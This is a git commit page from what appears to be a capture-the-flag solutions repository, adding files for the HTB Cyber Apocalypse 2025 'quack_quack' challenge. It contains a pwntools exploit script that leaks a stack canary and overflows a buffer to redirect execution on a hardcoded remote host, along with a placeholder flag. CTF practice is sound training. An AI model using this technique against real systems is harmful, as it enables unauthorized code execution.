changed repo structure
This commit is contained in:
21
2025/htb_cyber_apocalypse/quack_quack/exploit.py
Normal file
21
2025/htb_cyber_apocalypse/quack_quack/exploit.py
Normal file
@@ -0,0 +1,21 @@
|
||||
from pwn import remote, p64
|
||||
|
||||
NEEDLE = b'Quack Quack '
|
||||
LEN_NEEDLE = len(NEEDLE)
|
||||
|
||||
with remote("83.136.251.145", "32656") as p:
|
||||
p.recvuntil(b'> ')
|
||||
p.sendline(b'A' * 0x59 + NEEDLE)
|
||||
canary = b'\x00' + p.recvuntil(b'> ')[LEN_NEEDLE:LEN_NEEDLE + 7]
|
||||
assert(len(canary) == 8)
|
||||
|
||||
exploit_string = (b'A' * 0x58) + canary + p64(0) + p64(0x40137f)
|
||||
|
||||
print(exploit_string)
|
||||
|
||||
p.sendline(exploit_string)
|
||||
|
||||
p.interactive()
|
||||
|
||||
|
||||
|
||||
1
2025/htb_cyber_apocalypse/quack_quack/flag.txt
Normal file
1
2025/htb_cyber_apocalypse/quack_quack/flag.txt
Normal file
@@ -0,0 +1 @@
|
||||
HTB{f4k3_fl4g_4_t35t1ng}
|
||||
BIN
2025/htb_cyber_apocalypse/quack_quack/glibc/ld-linux-x86-64.so.2
Executable file
BIN
2025/htb_cyber_apocalypse/quack_quack/glibc/ld-linux-x86-64.so.2
Executable file
Binary file not shown.
BIN
2025/htb_cyber_apocalypse/quack_quack/glibc/libc.so.6
Executable file
BIN
2025/htb_cyber_apocalypse/quack_quack/glibc/libc.so.6
Executable file
Binary file not shown.
BIN
2025/htb_cyber_apocalypse/quack_quack/quack_quack
Executable file
BIN
2025/htb_cyber_apocalypse/quack_quack/quack_quack
Executable file
Binary file not shown.
Reference in New Issue
Block a user